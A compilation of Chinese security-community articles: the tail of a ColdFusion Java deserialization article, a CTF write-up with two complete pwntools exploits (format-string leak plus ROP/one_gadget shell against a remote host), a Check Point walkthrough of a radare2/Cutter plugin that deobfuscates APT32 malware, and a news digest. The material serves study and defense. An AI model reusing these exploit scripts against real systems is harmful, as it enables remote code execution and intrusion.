/* 329 */ if (isDebug) {
/* 330 */ log.debug(" reading using object form");
/* */ }
/* 332 */ obj = in.readObject();
/* */ } else {
/* 334 */ if (isDebug) {
/* 335 */ log.debug(" reading using byte form");
/* */ }
/* */
/* 338 */ ByteArrayInputStream bais = getByteStream(in);
/* */
/* */
/* 341 */ ObjectInputStream tempOIS = createObjectInputStream(bais);
/* 342 */ obj = tempOIS.readObject();
/* 343 */ tempOIS.close();
/* 344 */ bais.close();
/* */ }
/* */ //...
/* */ }
上述代码的341行会创建`org.apache.axis2.context.externalize.ObjectInputStreamWithCL`类的一个新的实例，这个类扩展了（extend）标准的`java.io.ObjectInputStream`类。在第342行，我们最终实现了对`readObject()`方法的调用。
漏洞利用情况如下图所示：
这种漏洞利用方法适用于Adobe ColdFusion 11以及12。
### COLDFUSIONPWN工具
为了让我们的工作更加轻松，我开发了一款简单的工具：
**[ColdFusionPwn](https://github.com/codewhitesec/ColdFusionPwn)**
。这是一款命令行工具，我们可以通过该工具生成序列化后的AMF消息。该工具可以与Chris Frohoff的ysoserial配合使用生成gadget。
## 六、总结
毋庸置疑，反序列化不可信的输入数据并不是一件好事。从攻击者的角度来看，利用反序列化漏洞是一项富有挑战性的任务，因为他们需要找到“正确”的对象（即gadget），才能触发漏洞、构造利用路径，然而这也是非常有趣的一个探索历程。
顺便提一句：如果你想深入了解服务端的Java利用技术，理解Java中的各种反序列化漏洞，正确开展静态以及动态分析，那么你应该会对我们即将推出的“Java高级利用技术”课程感兴趣。 | 社区文章 |
## PCB final shotshot一题两解
比赛期间学的挺多的现在记录下自己的心得
#### 程序分析
##### 大致浏览
题目并没有进行去符号的处理
##### main
从这里可以可以大概知道程序在干什么，代码量不是很大我们接下来进行单步的分析。
##### create
这里先让你创建了一个waepon的name，然后在输入长度，进行一个输入，没有什么漏洞点
##### show
这个函数中有一个格式化字符串是可以进行利用的，但是比较麻烦的是参数是在bss段，利用起来泄漏很容易但是写操作比较难。
##### drop
这里在free weapon后进行了指针的置0所以并没有uaf之类的洞
##### shot
这里的代码量比较大，大致就是输入一些数字可以跳转到一些函数，其中有一个dead函数引起了我的注意力于世就跟进了一下dead函数
##### dead
函数的名字本身就比较引人注目，然后很快就发现了这里有一个任意地址的调用，不过在汇编当中是mov [rdx] al
只能改一个字节。所以这里要想好应该改哪一个字节。
##### to_read
这里是进行一个读的操作本身也没有什么问题，也没有栈溢出，但是在后面的调试中能发现一些问题。直接跳转它会造成一个栈溢出的情况。这里就不截图了。
### 利用分析
#### 泄漏信息
当然是创建一个含有格式化字符的堆，然后进行一个打印造成一个格式化字符串的利用，其中图片上格式化地址0x7fffffffdcf8那里是__libc_start_main的地址。泄漏后可以泄漏偏移，当时发现本地和远程一样所以直接用了自己乌邦图的libc。
#### getshell
先转跳到地址低位为af的上面，就是上面说的to read函数，动态调试的时候会发现这里有栈溢出和ret地址只相差0x10，从图里就可以看出来了。
### 思路分析
首先利用格式化字符串泄漏栈地址，然后计算出one的地址然后再进行一个rop就可以了贴出exp
### exp
from pwn import *
def create(data):
io.sendlineafter("exit",'1')
io.sendlineafter("name:",str(len(data)+1))
io.sendlineafter("name:",data)
def show():
io.sendlineafter("exit",'2')
io.recvuntil('0x')
return io.recvline()
#io=process("./shotshot")
#context.log_level="debug"
#gdb.attach(io,"b printf")
e = ELF("./libc-2.23.so")
io = remote('172.91.0.42',8084)
io.sendafter("name",'ao')
create("0x0x%11$lx")
system=0xf02a4
libc=int(show(),16)-e.symbols["__libc_start_main"]-240
system+=libc
io.sendlineafter("exit",'4')
io.sendlineafter("C++",'1')
io.sendlineafter("id:",'32')
for i in range(3):
io.sendlineafter("exit",'4')
io.sendlineafter('C++','4')
io.sendlineafter("luckynum:",str(0xaf))
io.send('a'*0x10+p64(system))
io.interactive()
### 方法二
方法二相对于方法一就是直接利用了rop而没有利用格式化字符串，因为格式化字符串这一个漏洞比较容易进行patch。
#### exp
from pwn import *
def create(data):
io.sendlineafter("exit",'1')
io.sendlineafter("name:",str(len(data)+1))
io.sendlineafter("name:",data)
def show():
io.sendlineafter("exit",'2')
io.recvuntil('0x')
return io.recvline()
context.log_level="debug"
#gdb.attach(io)
e = ELF("./libc-2.23.so")
io = remote('172.91.0.88',8084)
io.sendafter("name",'ao')
create("0x0x%11$lxaa")
system=0x45216
io.sendlineafter("exit",'4')
io.sendlineafter("C++",'1')
io.sendlineafter("id:",'32')
for i in range(3):
io.sendlineafter("exit",'4')
io.sendlineafter('C++','4')
io.sendlineafter("luckynum:\n",str(0xaf))
io.send(p64(0x602038+0x40)*2+p64(0x4010b3)+p64(0x602020)+p64(0x400740)+p64(0x400AAF))
io.recvline()
puts=u64(io.recvline()[:-1].ljust(8,'\0'))
print hex(puts)
system=system+puts-0x6f690
io.send(p64(system))
io.interactive()
### 总结
这歌题目可以开拓思路吧因为在awd下，漏洞总共就那么多，容易patch和不容易patch的大家都知道多几种利用方法就能多打几个人。 | 社区文章 |
# 使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/deobfuscating-apt32-flow-graphs-with-cutter-and-radare2/>
译文仅供参考，具体内容表达以及含义原文为准。
OceanLotus（海莲花），也称APT32,攻击目标主要是东亚国家。研究表明该组织一直在持续更新后门、基础设施和感染单元。海莲花攻击的主要目标是东亚国家的企业和政府组织。
APT32的工具集广泛而多样。 它包含高级和简单组件，是手工工具和商业或开源工具的混合物，如Mimikatz和Cobalt Strike。
它通过dropper、shellcode执行恶意代码 ，通过诱饵文档和后门远程投递。
其中许多工具都经过高度混淆和调整，并采用不同的技术进行扩充，使其难以进行逆向分析。
在本文中，我们详细分析海莲花工具中一种代码混淆技术， 并展示如何编写一个简单的脚本绕过这种技术。
deobfuscation插件需要用到Cutter ，开源逆向工具radare2 的官方GUI版本 。
## 下载并安装Cutter
Cutter适用于所有平台（Linux，OS X，Windows）。
您可以在[https://github.com/radareorg/cutter/releases下载最新版本。](https://github.com/radareorg/cutter/releases%E4%B8%8B%E8%BD%BD%E6%9C%80%E6%96%B0%E7%89%88%E6%9C%AC%E3%80%82)
如果您使用的是Linux，获取Cutter最快方法是使用AppImage文件。
如果您想使用可用的最新版本，新功能和错误修复，您可以从源代码构建Cutter。具体教程参考[https://cutter.re/docs/building.html。](https://cutter.re/docs/building.html%E3%80%82)
[](https://research.checkpoint.com/wp-content/uploads/2019/04/1-Cutter-interface.png)
**图1：** Cutter界面
## 后门分析
首先，我们先分析一下后门。 相关样本（ `486be6b1ec73d98fdd3999abe2fa04368933a2ec`
）是多阶段感染链的一部分，最近发现其在广泛应用。 所有这些阶段感染链具有Ocean Lotus的典型特征，其中该感染链来源于恶意文档（
`115f3cb5bdfb2ffe5168ecb36b9aed54` ）。
该文件声称源自中国安全厂商奇虎360，并包含恶意VBA宏代码，该代码将恶意shellcode注入`rundll32.exe.`
shellcode包含解密例程，用于解密并将DLL反射加载至内存。 DLL即为后门。
首先，后门解密从文件资源中提取的配置文件。 配置文件存储命令和控制服务器等信息。 然后，二进制文件尝试使用定制的PE加载程序将辅助DLL加载到内存中，该
DLL名为`HTTPProv.dll` ，能够与C2服务器通信。
后门可以从命令和控制服务器接收许多不同的命令，包括shellcode执行、新进程的创建、文件和目录的操作等等。
Ocean Lotus使用了许多混淆技术，以使其工具更难以进行逆向分析。 最值得注意的是，Ocean Lotus在其二进制文件中使用了大量的垃圾代码。
垃圾代码使得样本更大更复杂，这分散了研究人员试图解析二进制文件的注意力。
反编译器对这些混淆的函数反编译经常失败，因为这些程序集经常使用堆栈指针，反编译器无法来处理这种病态代码。
## 混淆机制分析
在分析后门时，可以立即注意到一种混淆技术。将垃圾块插入到函数流中来实现控制流混淆， 这些垃圾块只是无意义的噪音，使函数功能变得混乱。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/2-junk-block-example.png)
**图2：** 垃圾块示例
如上图所示，块中充满了垃圾代码，这与函数的实际功能无关。 最好忽略这些块，但这说起来容易做起来难。 仔细看看这些街区将揭示一些有趣的东西。
这些垃圾块始终通过前一个块的条件跳转进行失败跳转。 此外，这些垃圾块总是以条件跳转结束，且与前一个块的条件跳转相反。 例如，如果垃圾块上方的条件是`jo
<some_addr>` ，则垃圾块很可能以`jno <some_addr>`结束。 如果上面的块以`jne
<another_addr>`结束，那么垃圾块将以 `je <another_addr>` 结束。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/3-opposite-conditional-jumps.png)
**图3：** 相反的条件跳转
考虑到这一点，我们可以开始构建这些垃圾块的特征。 混淆的第一个特征是 **出现两个连续的块，这些块以相反的条件跳转结束到同一目标地址** 。 另一个特性要求
**第二个块不包含有意义的指令，如字符串引用或调用** 。
当满足这两个特性时，我们可以很有可能说第二个块是垃圾块。 在这种情况下，我们希望第一个块跳过垃圾块，以便从图中删除垃圾块。
这可以通过使用无条件跳转（也称为简单的`JMP`指令）修补条件跳转来完成。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/4-patching-before-after.png)
**图4：** 修改条件跳转到JMP指令将忽略垃圾块
## 编写插件
下面介绍的插件是为Cutter编写的，且与radare2脚本兼容。
这意味着我们将通过[r2pipe](https://github.com/radare/radare2-r2pipe/tree/master/python)使用一些巧妙的radare2命令
– 一个Python包装器与radare2交互。 这是编写radare2脚本最有效，最灵活的方法。
让插件同时支持Cutter和radare2并非易事，因为一个是GUI程序，另一个是CLI。 这意味着GUI对象在radare2中将毫无意义。
幸运的是，Cutter支持r2pipe，并且能够从其Python插件中执行radare2命令。
## 编写核心类
我们要做的第一件事是创建一个Python类，它将成为我们的核心类。 该类将包含用于查找和删除垃圾块的逻辑。 让我们从定义其`__init__`函数开始。
该函数将接收一个管道，该管道将是来自`import r2pipe`的`r2pipe` 对象（`import r2pipe`
）或来自Cutter的`cutter`对象 （`import cutter` ）。
class GraphDeobfuscator:
def __init__(self, pipe):
"""an initialization function for the class
Arguments:
pipe {r2pipe} -- an instance of r2pipe or Cutter's wrapper
"""
self.pipe = pipe
现在我们可以使用这个管道执行radare2命令。 管道对象包含两种执行r2命令的主要方法。 第一个是`pipe.cmd(<command>)`
，它将以字符串形式返回命令的结果，第二个是`pipe.cmdj(<command>j)` ，它将从radare2命令的输出返回一个已解析的JSON对象。
> **注意：** 几乎每个radare2命令都可以附加一个j来获得输出为JSON。
接下来我们要做的是获取当前函数的所有块，然后进行迭代。 我们可以通过使用`afbj`命令来执行此操作，即 **A** nalyze **F**
unction **B** locks (分析函数块)，结果以 **J** son格式返回。
def clean_junk_blocks(self):
"""Search a given function for junk blocks, remove them and fix the flow.
"""
# Get all the basic blocks of the function
blocks = self.pipe.cmdj("afbj @ $F")
if not blocks:
print("[X] No blocks found. Is it a function?")
return
modified = False
# Iterate over all the basic blocks of the function
for block in blocks:
# do something
对于每个块，我们想要知道在不发生条件跳转的情况下是否存在失败的块。 如果包含失败的块，则第二块是作为垃圾块的初始候选。
def get_fail_block(self, block):
"""Return the block to which a block branches if the condition is fails
Arguments:
block {block_context} -- A JSON representation of a block
Returns:
block_context -- The block to which the branch fails. If not exists, returns None
"""
# Get the address of the "fail" branch
fail_addr = self.get_fail(block)
if not fail_addr:
return None
# Get a block context of the fail address
fail_block = self.get_block(fail_addr)
return fail_block if fail_block else None
> **注意：** 由于篇幅有限，不会解释此处出现的所有功能。上面代码片段中使用的get_block (addr)或get_fail_addr
> (block)函数是我们为使代码更清晰而编写的子例程。函数实现将在最终插件中提供，该插件在本文末尾显示和链接。
接下来，我们想检查我们的垃圾块候选是否在块之后立即出现。 如果不是，这很可能不是垃圾块，因为根据我们检查的情况，垃圾块位于具有条件跳转的块之后的代码中。
def is_successive_fail(self, block_A, block_B):
"""Check if the end address of block_A is the start of block_B
Arguments:
block_A {block_context} -- A JSON object to represent the first block
block_B {block_context} -- A JSON object to represent the second block
Returns:
bool -- True if block_B comes immediately after block_A, False otherwise
"""
return ((block_A["addr"] + block_A["size"]) == block_B["addr"])
然后，我们想要检查块候选是否包含无意义的指令。 例如，垃圾块不太可能包含`CALL`指令或字符串引用。 为此，我们将使用命令`pdsb`，即 **P**
rint **D** isassembly **S** ummary of a **B** lock（打印代码块反汇编汇总信息）。
我们假设垃圾块不包含有意义的指令。
def contains_meaningful_instructions (self, block):
'''Check if a block contains meaningful instructions (references, calls, strings,...)
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
bool -- True if the block contains meaningful instructions, False otherwise
'''
# Get summary of block - strings, calls, references
summary = self.pipe.cmd("pdsb @ {addr}".format(addr=block["addr"]))
return summary != ""
最后，我们想检查两个块的条件跳转是否相反。为此，我们需要创建一个相反的条件跳转列表。 x86架构包含许多条件跳转指令，下面仅展示列表的部分内容。
也就是说，从我们的测试中，下面的列表足以覆盖APT32后门中呈现的所有不同对的条件跳转。 如果没有，则很容易添加附加说明。
jmp_pairs = [
['jno', 'jo'],
['jnp', 'jp'],
['jb', 'jnb'],
['jl', 'jnl'],
['je', 'jne'],
['jns', 'js'],
['jnz', 'jz'],
['jc', 'jnc'],
['ja', 'jbe'],
['jae', 'jb'],
['je', 'jnz'],
['jg', 'jle'],
['jge', 'jl'],
['jpe', 'jpo'],
['jne', 'jz']]
def is_opposite_conditional(self, cond_A, cond_B):
"""Check if two operands are opposite conditional jump operands
Arguments:
cond_A {string} -- the conditional jump operand of the first block
cond_B {string} -- the conditional jump operand of the second block
Returns:
bool -- True if the operands are opposite, False otherwise
"""
sorted_pair = sorted([cond_A, cond_B])
for pair in self.jmp_pairs:
if sorted_pair == pair:
return True
return False
现在我们定义了验证函数，我们可以将这些部分附加在我们之前创建的`clean_junk_blocks()`函数中。
def clean_junk_blocks(self):
"""Search a given function for junk blocks, remove them and fix the flow.
"""
# Get all the basic blocks of the function
blocks = self.pipe.cmdj("afbj @ $F")
if not blocks:
print("[X] No blocks found. Is it a function?")
return
modified = False
# Iterate over all the basic blocks of the function
for block in blocks:
fail_block = self.get_fail_block(block)
if not fail_block or
not self.is_successive_fail(block, fail_block) or
self.contains_meaningful_instructions(fail_block) or
not self.is_opposite_conditional(self.get_last_mnem_of_block(block), self.get_last_mnem_of_block(fail_block)):
continue
如果所有检查都成功通过，则我们很可能发现了一个垃圾块。下一步我们将要修补条件跳转指令为$JUMP$
指令以跳过垃圾块，从而将垃圾块从图中移除，也即从函数体中移除。
为此，我们使用两个radare2命令。 第一个是`aoj @ <addr>` ，即 **A** nalyze **O**
pcode，它将为我们提供给定地址中指令的信息。 此命令可用于获取条件跳转的目标地址。 我们使用的第二个命令是`wai <instruction> @
<addr>` ，它代表 **W** rite **A** ssembly **I** nside （写入汇编指令）。 与另一条覆盖指令的命令`wa
<instruction> @ <addr>`不同， `wai`命令将使用`NOP`指令填充剩余的字节。 因此，在我们想要使用的`JMP
<addr>`指令比当前条件跳转指令短的情况下，剩余的字节将被替换为`NOP` 。
def overwrite_instruction(self, addr):
"""Overwrite a conditional jump to an address, with a JMP to it
Arguments:
addr {addr} -- address of an instruction to be overwritten
"""
jump_destination = self.get_jump(self.pipe.cmdj("aoj @ {addr}".format(addr=addr))[0])
if (jump_destination):
self.pipe.cmd("wai jmp 0x{dest:x} @ {addr}".format(dest=jump_destination, addr=addr))
在覆盖条件跳转指令之后，我们继续遍历函数的所有块并重复上述步骤。 最后，如果在函数中进行了更改，我们将重新分析函数，以便我们所做的更改显示在函数图中。
def reanalize_function(self):
"""Re-Analyze a function at a given address
Arguments:
addr {addr} -- an address of a function to be re-analyze
"""
# Seek to the function's start
self.pipe.cmd("s $F")
# Undefine the function in this address
self.pipe.cmd("af- $")
# Define and analyze a function in this address
self.pipe.cmd("afr @ $")
最后， `clean_junk_blocks()`函数现在可以使用了。 我们现在还可以创建一个函数`clean_graph()`
，它可以清除后门的混淆函数。
def clean_junk_blocks(self):
"""Search a given function for junk blocks, remove them and fix the flow.
"""
# Get all the basic blocks of the function
blocks = self.pipe.cmdj("afbj @ $F")
if not blocks:
print("[X] No blocks found. Is it a function?")
return
# Have we modified any instruction in the function?
# If so, a reanalyze of the function is required
modified = False
# Iterate over all the basic blocks of the function
for block in blocks:
fail_block = self.get_fail_block(block)
# Make validation checks
if not fail_block or
not self.is_successive_fail(block, fail_block) or
self.contains_meaningful_instructions(fail_block) or
not self.is_opposite_conditional(self.get_last_mnem_of_block(block), self.get_last_mnem_of_block(fail_block)):
continue
self.overwrite_instruction(self.get_block_end(block))
modified = True
if modified:
self.reanalize_function()
def clean_graph(self):
"""the initial function of the class. Responsible to enable cache and start the cleaning
"""
# Enable cache writing mode. changes will only take place in the session and
# will not override the binary
self.pipe.cmd("e io.cache=true")
self.clean_junk_blocks()
核心类到此结束。
**Cutter 还是Radare2？**
如前所述，我们的代码将作为Cutter的插件执行，或者直接作为Python脚本从radare2 CLI执行。
这意味着我们需要有一种方法来了解我们的代码是从Cutter还是从radare2执行的。 为此，我们可以使用以下简单技巧。
# Check if we're running from cutter
try:
import cutter
from PySide2.QtWidgets import QAction
pipe = cutter
cutter_available = True
# If no, assume running from radare2
except:
import r2pipe
pipe = r2pipe.open()
cutter_available = False
上面的代码检查是否可以导入`cutter`库。 如果可以，我们从Cutter内部运行，可以安全地做一些GUI操作。
否则，我们从radare2内部运行，因此我们选择导入`r2pipe` 。
在这两个语句中，我们分配了一个名为`pipe`的变量，该变量稍后将传递给我们创建的`GraphDeobfuscator`类。
**从Radare2运行**
这是使用此插件的最简单方法。 检查`__name__`等于“ **main** ”是一种常见的Python习惯用法，用于检查脚本是直接运行还是导入。
如果直接运行此脚本，我们只需执行`clean_graph()`函数。
if __name__ == "__main__":
graph_deobfuscator = GraphDeobfuscator(pipe)
graph_deobfuscator.clean_graph()
**从Cutter运行**
首先，我们需要确保我们从Cutter内部运行。 我们已经创建了一个名为`cutter_variable`的布尔变量。
我们只需要检查此变量是否设置为`True` 。 如果是，我们继续定义我们的插件类。
if cutter_available:
# This part will be executed only if Cutter is available.
# This will create the cutter plugin and UI objects for the plugin
class GraphDeobfuscatorCutter(cutter.CutterPlugin):
name = "APT32 Graph Deobfuscator"
description = "Graph Deobfuscator for APT32 Samples"
version = "1.0"
author = "Itay Cohen (@Megabeets_)"
def setupPlugin(self):
pass
def setupInterface(self, main):
pass
def create_cutter_plugin():
return GraphDeobfuscatorCutter()
这是Cutter插件的框架- 它根本不包含任何适当的功能。 Cutter在加载时调用`create_cutter_plugin()`函数。
此时，如果我们将脚本放在Cutter的插件目录中，Cutter会将我们的文件识别为插件。
为了使插件执行我们的功能，我们需要添加一个菜单条目，用户可以按下该条目来触发我们的反混淆器。 我们选择将菜单条目或操作添加到“ **Windows –
>插件** ”菜单中。
if cutter_available:
# This part will be executed only if Cutter is available. This will
# create the cutter plugin and UI objects for the plugin
class GraphDeobfuscatorCutter(cutter.CutterPlugin):
name = "APT32 Graph Deobfuscator"
description = "Graph Deobfuscator for APT32 Samples"
version = "1.0"
author = "Megabeets"
def setupPlugin(self):
pass
def setupInterface(self, main):
# Create a new action (menu item)
action = QAction("APT32 Graph Deobfuscator", main)
action.setCheckable(False)
# Connect the action to a function - cleaner.
# A click on this action will trigger the function
action.triggered.connect(self.cleaner)
# Add the action to the "Windows -> Plugins" menu
pluginsMenu = main.getMenuByType(main.MenuType.Plugins)
pluginsMenu.addAction(action)
def cleaner(self):
graph_deobfuscator = GraphDeobfuscator(pipe)
graph_deobfuscator.clean_graph()
cutter.refresh()
def create_cutter_plugin():
return GraphDeobfuscatorCutter()
该脚本现已准备就绪，可以放在Cutter插件目录下的Python文件夹中。 目录的路径显示在“ **编辑 – >首选项 – >插件**
”下的“插件选项”中。 例如，在我们的机器上，路径是：“ _〜/ .local / share / RadareOrg / Cutter / Plugins
/ Python_ ”。
现在，在打开Cutter时，我们可以在“ **插件 – >首选项** ”中看到该插件确实已加载。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/5-plugin-loaded.png)
**图5：** 插件已成功加载
我们还可以查看“ **Windows – >插件** ”菜单，看看我们创建的菜单项是否存在。 事实上，我们可以看到“APT32 Graph
Deobfuscator”项目现在出现在菜单中。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/6-menu-item-added.png)
**图6：** 我们创建的菜单项已成功添加
我们现在可以选择一些我们怀疑包含垃圾块的函数，并尝试测试我们的插件。 在这个例子中，我们选择了函数`fcn.00acc7e0` 。
转到Cutter中的功能可以通过从左侧菜单中选择，或者只需按“g”并在导航栏中键入其名称或地址即可。
确保您在图表视图中，并随意四处浏览，试图发现垃圾块。 我们在下图中突出显示了它们，其中显示了Graph Overview（迷你图）窗口。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/7-junk-blocks-in-function.png)
**图7：** `fcn.00acc7e0` 突出显示的垃圾块
当遇到候选可疑函数，我们可以触发我们的插件并查看它是否成功删除它们。 为此，请单击“ **Windows – >插件 – > APT32图形反混淆器**
”。 一秒钟后，我们可以看到我们的插件成功删除了垃圾块。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/8-removed-junk-blocks-in-function.png)
**图8：** 删除垃圾块后的相同功能
在下图中，您可以在删除垃圾块前后看到更多对函数。
[](https://research.checkpoint.com/wp-content/uploads/2019/04/9-junk-blocks-in-fcn.00aa07b0.png)
**图9：** fcn.00aa07b0之前和之后
[](https://research.checkpoint.com/wp-content/uploads/2019/04/10-junk-blocks-in-fcn.00a8a1a0-.png)
**图10：** fcn.00a8a1a0之前和之后
## 最后的话
Ocean Lotus的混淆技术绝不是最复杂或最难以击败的。
在本文中，我们了解了问题，起草了一个解决方案，最后使用Cutter和Radare2的python脚本功能实现了它。
完整的脚本可以在[GitHub](https://github.com/CheckPointSW/Cyber-Research/blob/master/Malware/APT32/APT32GraphDeobfuscator.py)上找到，也可以附在本文的底部。
如果您有兴趣阅读有关Ocean Lotus的更多信息，我们推荐ESET的Romain
Dumont发布的[这篇](https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf) 。 它包含对Ocean
Lotus工具的全面分析，以及对所涉及的混淆技术的一些阐述。
## 附录
**示例程序SHA-256值**
* Be6d5973452248cb18949711645990b6a56e7442dc30cc48a607a2afe7d8ec66
* 8d74d544396b57e6faa4f8fdf96a1a5e30b196d56c15f7cf05767a406708a6b2 **APT32函数图反混淆器 – 完整代码**
""" A plugin for Cutter and Radare2 to deobfuscate APT32 flow graphs
This is a python plugin for Cutter that is compatible as an r2pipe script for
radare2 as well. The plugin will help reverse engineers to deobfuscate and remove
junk blocks from APT32 (Ocean Lotus) samples.
"""
__author__ = "Itay Cohen, aka @megabeets_"
__company__ = "Check Point Software Technologies Ltd"
# Check if we're running from cutter
try:
import cutter
from PySide2.QtWidgets import QAction
pipe = cutter
cutter_available = True
# If no, assume running from radare2
except:
import r2pipe
pipe = r2pipe.open()
cutter_available = False
class GraphDeobfuscator:
# A list of pairs of opposite conditional jumps
jmp_pairs = [
['jno', 'jo'],
['jnp', 'jp'],
['jb', 'jnb'],
['jl', 'jnl'],
['je', 'jne'],
['jns', 'js'],
['jnz', 'jz'],
['jc', 'jnc'],
['ja', 'jbe'],
['jae', 'jb'],
['je', 'jnz'],
['jg', 'jle'],
['jge', 'jl'],
['jpe', 'jpo'],
['jne', 'jz']]
def __init__(self, pipe, verbose=False):
"""an initialization function for the class
Arguments:
pipe {r2pipe} -- an instance of r2pipe or Cutter's wrapper
Keyword Arguments:
verbose {bool} -- if True will print logs to the screen (default: {False})
"""
self.pipe = pipe
self.verbose = verbose
def is_successive_fail(self, block_A, block_B):
"""Check if the end address of block_A is the start of block_B
Arguments:
block_A {block_context} -- A JSON object to represent the first block
block_B {block_context} -- A JSON object to represent the second block
Returns:
bool -- True if block_B comes immediately after block_A, False otherwise
"""
return ((block_A["addr"] + block_A["size"]) == block_B["addr"])
def is_opposite_conditional(self, cond_A, cond_B):
"""Check if two operands are opposite conditional jump operands
Arguments:
cond_A {string} -- the conditional jump operand of the first block
cond_B {string} -- the conditional jump operand of the second block
Returns:
bool -- True if the operands are opposite, False otherwise
"""
sorted_pair = sorted([cond_A, cond_B])
for pair in self.jmp_pairs:
if sorted_pair == pair:
return True
return False
def contains_meaningful_instructions (self, block):
'''Check if a block contains meaningful instructions (references, calls, strings,...)
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
bool -- True if the block contains meaningful instructions, False otherwise
'''
# Get summary of block - strings, calls, references
summary = self.pipe.cmd("pdsb @ {addr}".format(addr=block["addr"]))
return summary != ""
def get_block_end(self, block):
"""Get the address of the last instruction in a given block
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
The address of the last instruction in the block
"""
# save current seek
self.pipe.cmd("s {addr}".format(addr=block['addr']))
# This will return the address of a block's last instruction
block_end = self.pipe.cmd("?v $ @B:-1")
return block_end
def get_last_mnem_of_block(self, block):
"""Get the mnemonic of the last instruction in a block
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
string -- the mnemonic of the last instruction in the given block
"""
inst_info = self.pipe.cmdj("aoj @ {addr}".format(addr=self.get_block_end(block)))[0]
return inst_info["mnemonic"]
def get_jump(self, block):
"""Get the address to which a block jumps
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
addr -- the address to which the block jumps to. If such address doesn't exist, returns False
"""
return block["jump"] if "jump" in block else None
def get_fail_addr(self, block):
"""Get the address to which a block fails
Arguments:
block {block_context} -- A JSON object which represents a block
Returns:
addr -- the address to which the block fail-branches to. If such address doesn't exist, returns False
"""
return block["fail"] if "fail" in block else None
def get_block(self, addr):
"""Get the block context in a given address
Arguments:
addr {addr} -- An address in a block
Returns:
block_context -- the block to which the address belongs
"""
block = self.pipe.cmdj("abj. @ {offset}".format(offset=addr))
return block[0] if block else None
def get_fail_block(self, block):
"""Return the block to which a block branches if the condition is fails
Arguments:
block {block_context} -- A JSON representation of a block
Returns:
block_context -- The block to which the branch fails. If not exists, returns None
"""
# Get the address of the "fail" branch
fail_addr = self.get_fail_addr(block)
if not fail_addr:
return None
# Get a block context of the fail address
fail_block = self.get_block(fail_addr)
return fail_block if fail_block else None
def reanalize_function(self):
"""Re-Analyze a function at a given address
Arguments:
addr {addr} -- an address of a function to be re-analyze
"""
# Seek to the function's start
self.pipe.cmd("s $F")
# Undefine the function in this address
self.pipe.cmd("af- $")
# Define and analyze a function in this address
self.pipe.cmd("afr @ $")
def overwrite_instruction(self, addr):
"""Overwrite a conditional jump to an address, with a JMP to it
Arguments:
addr {addr} -- address of an instruction to be overwritten
"""
jump_destination = self.get_jump(self.pipe.cmdj("aoj @ {addr}".format(addr=addr))[0])
if (jump_destination):
self.pipe.cmd("wai jmp 0x{dest:x} @ {addr}".format(dest=jump_destination, addr=addr))
def get_current_function(self):
"""Return the start address of the current function
Return Value:
The address of the current function. None if no function found.
"""
function_start = int(self.pipe.cmd("?vi $FB"))
return function_start if function_start != 0 else None
def clean_junk_blocks(self):
"""Search a given function for junk blocks, remove them and fix the flow.
"""
# Get all the basic blocks of the function
blocks = self.pipe.cmdj("afbj @ $F")
if not blocks:
print("[X] No blocks found. Is it a function?")
return
# Have we modified any instruction in the function?
# If so, a reanalyze of the function is required
modified = False
# Iterate over all the basic blocks of the function
for block in blocks:
fail_block = self.get_fail_block(block)
# Make validation checks
if not fail_block or
not self.is_successive_fail(block, fail_block) or
self.contains_meaningful_instructions(fail_block) or
not self.is_opposite_conditional(self.get_last_mnem_of_block(block), self.get_last_mnem_of_block(fail_block)):
continue
if self.verbose:
print ("Potential junk: 0x{junk_block:x} (0x{fix_block:x})".format(junk_block=fail_block["addr"], fix_block=block["addr"]))
self.overwrite_instruction(self.get_block_end(block))
modified = True
if modified:
self.reanalize_function()
def clean_graph(self):
"""the initial function of the class. Responsible to enable cache and start the cleaning
"""
# Enable cache writing mode. changes will only take place in the session and
# will not override the binary
self.pipe.cmd("e io.cache=true")
self.clean_junk_blocks()
if cutter_available:
# This part will be executed only if Cutter is available. This will
# create the cutter plugin and UI objects for the plugin
class GraphDeobfuscatorCutter(cutter.CutterPlugin):
name = "APT32 Graph Deobfuscator"
description = "Graph Deobfuscator for APT32 Samples"
version = "1.0"
author = "Itay Cohen (@Megabeets_)"
def setupPlugin(self):
pass
def setupInterface(self, main):
# Create a new action (menu item)
action = QAction("APT32 Graph Deobfuscator", main)
action.setCheckable(False)
# Connect the action to a function - cleaner.
# A click on this action will trigger the function
action.triggered.connect(self.cleaner)
# Add the action to the "Windows -> Plugins" menu
pluginsMenu = main.getMenuByType(main.MenuType.Plugins)
pluginsMenu.addAction(action)
def cleaner(self):
graph_deobfuscator = GraphDeobfuscator(pipe)
graph_deobfuscator.clean_graph()
cutter.refresh()
def create_cutter_plugin():
return GraphDeobfuscatorCutter()
if __name__ == "__main__":
graph_deobfuscator = GraphDeobfuscator(pipe)
graph_deobfuscator.clean_graph() | 社区文章 |
# 2月7日安全热点 - CNCERT发布2017年钓鱼网站分布趋势报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
CNCERT发布 2017年钓鱼网站分布趋势报告
<https://mp.weixin.qq.com/s/aDVIG7_QTaMCHAwgrqnHDA>
Securelist发布2017年第4季度的DDoS攻击报告
<https://securelist.com/ddos-attacks-in-q4-2017/83729/>
Cisco：网络安全 CTF 系列第三部分: 实施
<https://blogs.cisco.com/perspectives/cyber-security-capture-the-flag-ctf-series-part-3-implementing>
CSS代码可能会被滥用来收集敏感的用户数据
<https://www.bleepingcomputer.com/news/security/css-code-can-be-abused-to-collect-sensitive-user-data/>
勒索受害者平均每年遭受两次袭击
<https://www.bleepingcomputer.com/news/security/ransomware-victims-hit-on-average-by-two-attacks-per-year/>
安全研究人员 发现Windows 10 “文件访问控制”反勒索功能可被绕过
